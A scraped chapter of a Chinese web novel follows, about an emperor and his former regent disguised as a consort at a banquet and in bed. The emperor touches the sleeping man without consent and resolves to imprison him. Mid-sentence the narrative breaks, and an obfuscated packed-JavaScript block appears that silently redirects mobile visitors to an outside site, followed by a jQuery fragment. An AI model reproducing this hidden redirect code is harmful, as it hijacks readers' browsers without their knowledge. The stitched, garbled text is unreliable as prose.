默认冷灰
24号文字
方正启体

12. Chapter 12

作者:默潜本书字数:K更新时间:
    祁照玄拉着他的手臂,将人带了回来。


    两人之间的距离再次缩短,冷冽的暗香涌动在鼻尖,季容这才发现,即使他身上也沾染了那相同的熏香味,但祁照玄的幽香却是更重。


    季容不语。


    “相父不想答,那便换个问题,相父今日心情为何不好?”


    季容都不想回答,凭什么祁照玄给了二选一,他就非要选一个。


    虽是如此想,但他还是恹恹地道:“昨日发生了什么你那些侍卫没跟你说?”


    “朕想听相父亲自说。”


    哦。


    那你等着吧。


    季容不说话了。


    他们到达晚宴的时候其余人已经到齐了,季容隔着帷帽都能感受到樊青那炙热的眼神,他余光瞥向那端,本想给樊青一个警告的眼神让人收敛点,但帷帽遮挡着视线,他根本没办法。


    但好在宁安侯及时发现了端倪,直接给了樊青一拳。


    季容挑眉。


    打得好。


    他们刚一落座,底下人行完礼后一抬眼便看见他们二人坐在一起,而一旁特地为贵妃准备的位置则被李有德撤了下去。


    陛下的点点举动万众瞩目,时时刻刻都被底下人关注着,更别提撤位置这样大的行径。


    陛下与这贵妃感情如此深厚?


    一时人人心中都如此想到。


    端王殷勤地捧着酒杯,见此心里琢磨几道。


    季容百无聊赖地看着底下一众熟悉或眼生的曾经同僚,选择性忽视掉他现在看着就烦的樊青,第一次发现皇帝旁边的位置如此视野开阔。


    “这位便是贵妃娘娘吧,臣敬娘娘一杯。”端王笑的谄媚。


    季容喜欢饮酒,但不想和端王喝酒,于是胳膊肘一拐一旁的祁照玄。


    祁照玄冷淡道:“贵妃不胜酒力。”


    端王动作一顿,没料到祁照玄这么不客气,尴尬一笑。


    “快有十天了吧,什么时候能解决?”


    季容问得没头没脑,祁照玄听懂了,道:“在收尾了。”


    “你逮到他什么把柄了?”季容突然来了兴趣。


    “盐引。”


    闻言季容便没兴趣了,他之前就已经查到盐引有问题了,只是先帝要袒护,他也没办法。


    端王向来只是个中饱私囊的废物,以为自己是什么样的人那天下所有人都是和他一样的人。


    连宴会上的歌舞都别有用心。


    宴会上的舞女个个容貌姣好,端王还明里暗里的在一旁暗示,但祁照玄理都不理。


    季容好笑地看着端王的表情,调笑道:“陛下,坐怀不乱啊。”


    祁照玄看了一眼季容,似笑非笑道:“爱妃不是最明白了么?”


    入口的果酒猛然一呛,梦里的内容再次被季容回忆起,他咳了几声。


    “吃葡萄么?”


    见季容被呛,祁照玄也不逗他了,问后也没等季容回答,直接拿过桌上果盘,仔细将葡萄剥好,随后手从帷帽下穿过,将晶莹剔透的葡萄喂至季容嘴边。


    葡萄抵在唇边,带来了冰冰凉凉的触感。


    季容一口咬了上去。


    于是接下来一段时间,祁照玄剥皮,季容只管坐享其成。


    直至果盘中的葡萄被祁照玄剥完了。


    “还吃么?”祁照玄问道。


    季容摆摆手:“不要了。”


    祁照玄闻言有些遗憾。


    他来晚宴之前就已经用过晚膳了,吃葡萄只不过刚好有人剥,他就顺便吃了。


    祁照玄用湿帕擦拭手指,一抬头便与底下群臣对视上,后者明显愣了一下,而后群臣火速移开视线。


    一旁看着的季容:“……”


    幸好他有帷帽。


    但他这时候才反应过来,一个帝王给贵妃剥了这么久的葡萄这件事有多离奇,一般都是贵妃给帝王剥皮,哪有他这样倒反天罡的。


    他沉思片刻,而后道:“我还要吃葡萄。”


    祁照玄没问怎么又想吃了,只是让李有德再上了一盘葡萄,又再次剥好递了过去。


    葡萄在嘴中爆汁,季容看着下面群臣欲言又止的反应,心情意外的更加舒畅了。


    “陛下,臣在江南这么多年,总是回忆起当年尚还在京城时的闲暇时光,”端王突然开始回忆道,“臣当年总是和皇兄一起踢蹴鞠……臣记得那时候陛下也才不过十岁出头……”


    唔。


    季容挑眉。


    这是知道盐引的事情逃不过所以改打感情牌了?


    端王和先帝感情不怎么好嘛,连先帝不太喜欢祁照玄这个太子都不知道。


    祁照玄果然没理端王,留端王一个人在那儿唱独角戏。


    端王滔滔不绝了大概一炷香的时间,见祁照玄仍旧不语,端王眼中闪过一丝阴鸷,又很快笑着道:“臣府王妃听闻前些日子陛下曾带着贵妃娘娘前去云烟坊,特意准备了些锦衣服饰,还有金玉珠宝,娘娘赏脸看一看?”


    端王此话是对着的季容说,可他没想到祁照玄却颇有兴致,道让他呈上来。


    季容一点儿都不想看,可祁照玄没给他拒绝的时间,于是他只能眼睁睁地看着侍女将数十件裙装呈现在他眼前。


    “皇叔有心了,”祁照玄语气里含着笑意道,“爱妃就喜欢这些。”


    季容:“……”


    污蔑。


    他看着底下樊青抽搐的嘴角,顿觉命苦。


    祁照玄抬手让宫人将衣裙带走,而后轻声在季容耳边道:“爱妃不喜?”


    在无数声的“爱妃”中,季容已经对这个称呼免疫了。


    他面无表情道:“花里胡哨。”


    祁照玄闷闷笑起来。


    本就身心俱疲的季容在这一晚上后精神更加雪上加霜,祁照玄看出了季容的生无可恋,突发善心带着他先行离席。


    但季容一点儿都不想要祁照玄的善心,让他和祁照玄独处一处,还不如在宴会百无聊赖地坐着。


    空旷的寝殿,昏黄的烛光。


    季容已经摘下了帷帽,绝望地用毯子将头蒙住,仰躺在椅子上。


    他真的一点都不想见到祁照玄!!!


    季容心乱了一整天了,而且每一看见祁照玄,就更加烦。


    具体烦什么他也说不清楚,但就是烦。


    毯子捂着很闷,季容拉下毯子,露出了口鼻。


    现在祁照玄不在寝殿,时辰也不算早了,只要他在祁照玄回寝殿之前快点睡着,不就可以避免与祁照玄独处了?


    于是他一个鲤鱼打挺就坐起来,快速起身去洗漱完又爬上了床。


    他本就没睡意,虽哈欠打了几个了但翻来覆去就是睡不着。


    再次翻了个身后,季容听见了门被打开的声音,而后就是脚步声渐渐向他而来。


    他打了个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048825|194778||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    滚滚进靠里一侧,背对着外侧闭上了眼。


    脚步声停在了床前,之后就没动静了。


    殿中安静安分,季容只能听见自己的呼吸声。


    季容也会武,自然知晓在祁照玄面前他装睡是瞒不住的,但他并没有转身,还是就这样静静地躺着。


    “相父。”祁照玄骤然出声。


    随着祁照玄出声,季容感觉到身后床铺微微下沉,是祁照玄上来了。


    季容身体僵硬,神经紧绷。


    他还是适应不了和祁照玄同床。


    祁照玄唤了一声后便没再出声,似也没有打算拆穿季容的装睡。


    冷冽的幽香浮在季容鼻前,再加上晚宴季容喝了些果酒,方才一直酝酿不出来的睡意陡然出现,不知不觉中季容竟沉沉睡去。


    烛光暗暗摇曳,祁照玄睁开了眼睛。


    眼中闪着阴郁,又翻涌着欲色,目光沉沉,紧盯着那道背影。


    相父……


    祁照玄视线黏在季容身上,不加掩饰的贪婪与冲动浮现在神色之间,他的喉间微微滚动。


    大手向前一揽,圈住了眼前人的腰身,随后一用力,便将人带了过来。


    已经熟睡了的人面容沉静,祁照玄垂眸看着,手指放在了季容下唇,季容嘴唇微微张开,轻柔的呼吸从嘴间吐出,热气喷在祁照玄手上,他摩挲着季容的嘴角,细嫩白皙的皮肤被染上了红痕。


    他抬手拨了拨季容的睫毛,熟睡的人似乎被他弄得很烦,眉间不自知地蹙起。


    祁照玄舔了下季容耳垂,季容耳垂微凉,被含住后瑟缩了一下,祁照玄见好就收,没让人醒过来。


    他就是个捣乱的坏蛋,趁着心上人熟睡,肆无忌惮地做着一些白日里不敢做的出格之事。


    把人逗得要醒不醒,又收回手等待一会儿,等人熟睡后又再次动手动脚。


    循环往复,颇有趣味。


    外人总是传季容的坏话,说季容无恶不作,丧尽天良。


    外人也总说他贤明仁善,说他有德高行洁,方正君子。


    但祁照玄很清楚明白,季容不是坏人,他也不是好人。


    可能皇族这条血脉就注定生不出正常人,禹朝始皇性情残暴,漠视人命……代代下来皆不过如此,不是残暴不仁就是声色犬马。


    先帝荒淫无度,端王暴戾恣睢,而他,也自然不是什么好东西。


    祁照玄一直都知道自己很偏执,喜爱的东西只能有自己才能碰,不能有他人染指。


    小时喜爱的鹦鹉被先帝宠爱的皇子借走去玩,他漠然地走至幼弟旁边,一把匕首当着幼弟的面刺死了鹦鹉,血飚了两人一身,宫人尖叫护着幼弟,他将染血的匕首往地上一扔,带着满身血离开。


    他知道先帝不喜他,他也不想去讨好先帝的喜欢,他知道这个位置迟早会落在他的手上。


    他的偏执早已经根深蒂固在他的全身各处,是季容要闯进他的世界,是季容自己让他盯上了他。


    如果季容不对他好,如果季容没那么关心他,如果季容不明里暗里护着他……那就不会有现在的一切。


    所以他没有做错,祁照玄阴暗地想,都怪季容,让他深陷逃不出来。


    他只想要相父一人,所以他坐上了这个德不配位的位置,把自己伪装成一个良善之人。


    他要名正言顺地囚禁住相父。


    他要季容身边只能有他一人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)